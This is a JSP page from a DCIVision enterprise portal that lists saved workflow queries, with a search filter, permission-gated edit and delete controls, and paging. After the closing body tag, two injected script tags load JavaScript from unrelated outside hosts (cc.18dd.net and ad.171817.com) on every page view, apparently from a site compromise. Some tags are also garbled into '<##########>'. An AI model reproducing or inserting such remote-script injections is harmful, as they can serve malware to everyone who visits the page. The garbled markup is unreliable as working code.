<%
/*
 * @(#)ListWrokflowQueryRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowQueryRecord.jsp

  This is a ListWorkflowQueryRecord page.  It shows the query code in EIP.

    @author             dick xie
    @company            DCIVision Ltd
    @creation date     21/11/2004
    @version            $Revision: 1.6.26.17 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.io.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowQueryRecordForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowQueryRecordForm"/>

<%
request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY,SystemFunctionConstant.WORKFLOW_MONITOR);
%>


<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "workflowQueryRecordList";

String[][]  LABEL_MAP = { {"ID", "ID"},
                            //{"dms.label.load_query", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.query_name", "QUERY_NAME"},
                            {"dms.label.query_desc", "DESCRIPTION"},
                            {"dms.label.ispublic","QUERY_TYPE"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.query_name", "QUERY_NAME"},
                            {"dms.label.query_desc", "DESCRIPTION"},
                          };
  int     COLUMN_OFFSET = 4;
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
 //try{
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>

<!-- Form Section Begin -->
<html:form  action="workflow/MaintWorkflowQueryRecord" method="POST" onsubmit="return(false);">
<script language="javascript">
<!--
function updateTargetLocation(ID, queryName) {
  var hiddenField = document.maintWorkflowQueryRecordForm.selectedID;
  var displayField = document.maintWorkflowQueryRecordForm.destinationPath;
  var displayStr = displayField.value;

  hiddenField.value = ID;
  displayField.value =  queryName;

  return true;
}

function OptFileSelection(){
  if (document.maintWorkflowQueryRecordForm.selectedID.value==''){
    alert("<bean:message key='dms.message.choose_query'/>");
    return true;
  }
  var queryID=document.maintWorkflowQueryRecordForm.selectedID.value;
  window.opener.getQueryRecord(queryID);
  window.close();
  return(false);
}
-->
</script>
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property='workflowGroupID'/>
<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<%--<layout:titleFormat><font class="pageTitle"><layout:pageTitle/>&nbsp;[<bean:message key='dms.label.load_query'/>]</font>
<layout:returnButton>
ListWorkflowMonitoringGroup.do
</layout:returnButton>
</layout:titleFormat>--%>
<!-- Page Title Section End -->
<layout:listBar>
    <div class="button">
      <layout:returnButton className="btn-standard" returnURL="ListWorkflowMonitoringGroup.do"/>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" label="common.label.new" link="ListWorkflowMonitoring.do?navMode=N&workflowGroupID=${maintWorkflowQueryRecordForm. workflowGroupID}&returnTo=MaintWorkflowQueryRecord.do?fromType=LQ$$workflowGroupID=${maintWorkflowQueryRecordForm .workflowGroupID}"/>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" label="common.label.delete" onClick="return(OpListDelete(maintWorkflowQueryRecordForm))"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
    <table>
    <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPress();">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPress();">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPress();"/>
    </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(maintWorkflowQueryRecordForm, '${maintWorkflowQueryRecordForm.sortAttribute}', '${maintWorkflowQueryRecordForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(maintWorkflowQueryRecordForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="maintWorkflowQueryRecordForm" labelMap="<%=LABEL_MAP%>" editColumn="true" copyColumn="false" sortAttribute="<%=maintWorkflowQueryRecordForm.getSortAttribute()%>" sortOrder="<%=maintWorkflowQueryRecordForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowQueryRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workflowQueryRecord).getID()%>);">
    <td align="center" width="18">

      <logic:permission right='D'>
      <logic:equal name='workflowQueryRecord' property='updaterID' value='<%=sessionContainer.getUserRecordID().toString()%>'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='workflowQueryRecord' property='ID'/>" onclick="return(false);">
      </logic:equal>
      <logic:notEqual name='workflowQueryRecord' property='updaterID' value='<%=sessionContainer.getUserRecordID().toString()%>'>
      <html:img src='IconCheckboxDisable.gif' styleClass='disabledCheckbox'/>
      <input type="hidden" name="basicSelectedID" value='-1' />
      </logic:notEqual>
      <##########>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>

    </td>
    <td>
      <logic:permission right='E'>
      <logic:equal name='workflowQueryRecord' property='updaterID' value='<%=sessionContainer.getUserRecordID().toString()%>'>
      <a href="ListWorkflowMonitoring.do?queryID=<bean:write name='workflowQueryRecord' property='ID'/>&opMode=QUERY.OPTION&returnTo=MaintWorkflowQueryRecord.do?fromType=LQ$$workflowGroupID=<bean:write name='maintWorkflowQueryRecordForm' property='workflowGroupID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
      </logic:equal>
      <logic:notEqual name='workflowQueryRecord' property='updaterID' value='<%=sessionContainer.getUserRecordID().toString()%>'>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:notEqual>
      <##########>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <td align="left" width="40%">
    <a href="ListWorkflowMonitoring.do?queryID=<bean:write name='workflowQueryRecord' property='ID'/>&opMode=QUERY.OPTION&returnTo=MaintWorkflowQueryRecord.do?fromType=LQ$$workflowGroupID=<bean:write name='maintWorkflowQueryRecordForm' property='workflowGroupID'/>">
    <!--
    <a href="#" onclick="return updateTargetLocation('<%=((WorkflowQueryRecord)workflowQueryRecord).getID()%>', '<%=TextUtility.escapeJSString(((WorkflowQueryRecord)workflowQueryRecord).getQueryName())%>');">
    -->
    <bean:write name='workflowQueryRecord' property='queryName'/></a>
    </td>
    <td>
      <bean:write name='workflowQueryRecord' property='queryDescription'/>
    </td>
    <td align="center">
     <logic:equal name='workflowQueryRecord' property='queryType' value='P'>
       <html:img src="IconTick.gif"   align='absmiddle'/>
     </logic:equal>
      <logic:equal name='workflowQueryRecord' property='queryType' value='PR'>
       <html:img src="IconCross.gif"   align='absmiddle'/>
     </logic:equal>
     <logic:equal name='workflowQueryRecord' property='queryType' value='D'>
       <html:img src="IconCross.gif"   align='absmiddle'/>
     </logic:equal>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='workflowQueryRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='workflowQueryRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="maintWorkflowQueryRecordForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->
</body>
<script language="JavaScript">
function onKeyPress(){
if(event.keyCode==13)OpList(maintWorkflowQueryRecordForm, '<bean:write name='maintWorkflowQueryRecordForm' property='sortAttribute' replace=''/>', '<bean:write name='maintWorkflowQueryRecordForm' property='sortOrder' replace=''/>');
}
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>